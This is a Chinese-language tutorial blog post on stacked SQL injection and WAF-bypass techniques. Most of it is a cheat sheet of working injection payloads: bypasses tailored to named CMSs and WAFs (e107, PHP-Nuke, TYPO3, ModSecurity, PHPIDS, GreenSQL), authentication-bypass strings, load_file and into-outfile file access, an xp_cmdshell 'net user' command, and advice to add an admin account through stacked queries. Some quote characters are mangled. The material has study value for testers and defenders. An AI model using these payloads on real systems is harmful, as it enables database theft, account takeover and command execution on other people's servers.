SQL注入之堆叠查询以及waf绕过查询(七)

堆叠查询

原理

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实
的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。

和Union查询的区别

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例子

正常查询只查询一次 查一个users的表里的内容:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123456     |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 16 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)

使用堆叠查询,查询多个内容:

mysql> select * from users;select * from emails;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123456     |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 16 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)

+----+------------------------+
| id | email_id               |
+----+------------------------+
|  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
+----+------------------------+
8 rows in set (0.00 sec)

查询了两条,就是这个原理而已,在注入的时候http://example/?id=1 第一条注入语句;第二条注入语句

就能执行两条语句。

局限性:数据库不同 支持不同。 只产生再部分数据库里。

应用

当你用注入得到管理员账号密码后,密码是加密的 ,你解密不出来,这个时候说明1 该注入点可以注入 2能注入你也登陆不了 3所以这时用堆叠注入加一个账号密码,然后再拿这个去登录。

所以说这个堆叠查询 不是去用来显示某些信息的,而是去执行一些操作用的,就比如添加一个管理员账号等这种操作。

waf绕过查询

绕过waf的方法

  • a) 大小写混合
  • b)替换关键字
  • c)使用编码
  • d)使用注释
  • e)等价函数与命令
  • f)特殊符号
  • g)HTTP参数控制
  • h)缓冲区溢出
  • i)整合绕过

大小写混合:

大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

举例:

z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

 

示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

替换关键字:

这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

举例:

z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

使用编码:

1.URL编码

在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

2.十六进制编码

举例:

z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

3.Unicode编码

Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码:

单引号:  %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例:?id=10%D6‘%20AND%201=2%23

SELECT ‘Ä’=’A’; #1

两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者成功的实现过对google的绕过,有兴趣的朋友可以去了解下

常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子

 使用注释:

看一下常见的用于注释的符号有哪些:*//, — , //, #, –+,–  -, ;,–a

1.普通注释

举例:

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

‘union%a0select pass from users#

/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询

2.内联注释

这种注释在mysql中叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。

相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3

?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

等价函数与命令:

有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

1.函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:substr((select ‘password’),1,1) = 0x70

strcmp(left(‘password’,1), 0x69) = 1

strcmp(left(‘password’,1), 0x70) = 0

strcmp(left(‘password’,1), 0x71) = -1

上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

2.符号

and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

特殊符号:

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users;  //绕过空格限制

可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到

本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例:

关键字拆分:‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)

!和():’ or –+2=- -!!!’2

id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

本节最后在给出一些和这些字符多少有点关系的操作符供参考:

>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些”特殊符号”实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

 HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制

1.HPP(HTTP Parameter Polution)

举例:/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

H1

具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过

 

缓冲区溢出(Advanced)

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

举例:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

整合绕过

整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

延伸及测试向量示例

a) CMS绕过实例

b) WAF绕过示例

c) SQLi Filter Evasion Cheat sheet

d) 测试向量

 

 

1.e107 CMS

$inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); 
if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { 
foreach($inArray as $res) { 
if(stristr($_SERVER['QUERY_STRING'], $res)) { 
die("Access denied."); 
}}}

Bypass: vuln.php/trackback?inject=UNI%6fN SELECT

 2. PHP-Nuke CMS

if(isset($_SERVER['QUERY_STRING']) 
&& (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { 
$queryString = $_SERVER['QUERY_STRING']; 
if ( stripos($queryString, '%20union%20') 
OR stripos($queryString, '/*') 
OR stripos($queryString, '*/union/*') 
OR stripos($queryString, '+union+') 
OR stripos($queryString, 'concat')) { die('Illegal Operation'); }

Bypass: vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'
3. TYPO3 CMS
$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence
Bypass: vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`

WAF绕过示例

1. ModSecurity CRS 2.0.9
1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
1'union/*!select*/pass,load_file(0x123456789)from users-- -
2. PHPIDS 0.6.4
foo'!=@a:=0x1 div'1a false != true   //auth bypass
 foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0

 a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1
3. GreenSQL 1.3.0

检测关键字:union, information_schema, into outfile, current_user, current_date, version

检测函数:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()

adm' 'in' or 1='1        // auth bypass

'-(1)union(select table_name,load_file('/tmp/test'),@@version

from /*! information_schema.tables */);%00    //select union

'-'' into%a0outfile '/tmp/test   //write to file
#注释
‘ or 1=1#
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
' /*!50000or*/1='1
' /*!or*/1='1

#前缀
+ – ~ !
‘ or –+2=- -!!!’2

#操作符:
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

#空格
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

#有引号的字符串
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

#没有引号的字符串
 ‘abc’ = 0×616263
  ' and substr(data,1,1) = 'a'#  ' and substr(data,1,1) = 0x61	# 0x6162  ' and substr(data,1,1) = unhex(61)	# unhex(6162)  ' and substr(data,1,1) = char(97	)# char(97,98)  ' and substr(data,1,1) = 'a'#  ' and hex(substr(data,1,1)) = 61#  ' and ascii(substr(data,1,1)) = 97#  ' and ord(substr(data,1,1)) = 97#   ' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
#别名
select pass as alias from users
select pass`alias alias`from users

#字型
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true
#操作符字型
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’

#认真绕过‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true#函数过滤器ascii (97)
load_file/*foo*/(0×616263)

#用函数构建字符串
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
 hex(‘a’) = 61
 ascii(‘a’) = 97
 ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

#特殊字符

  aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a  des_encrypt(1,2) 						// 侴Ò/镏k  @@ft_boolean_syntax 					// + -><()~*:""&|  @@date_format 						// %Y-%m-%d  @@innodb_log_group_home_dir 		// .\
@@new: 0
@@log_bin: 1
#提取子字符串substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

#搜索子字符串
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

#分割字符串
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

#比较字符串
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

#字符串长度
length()
bit_length()
char_length()
octet_length()
bit_count()

#关键字过滤
Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

#控制流
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论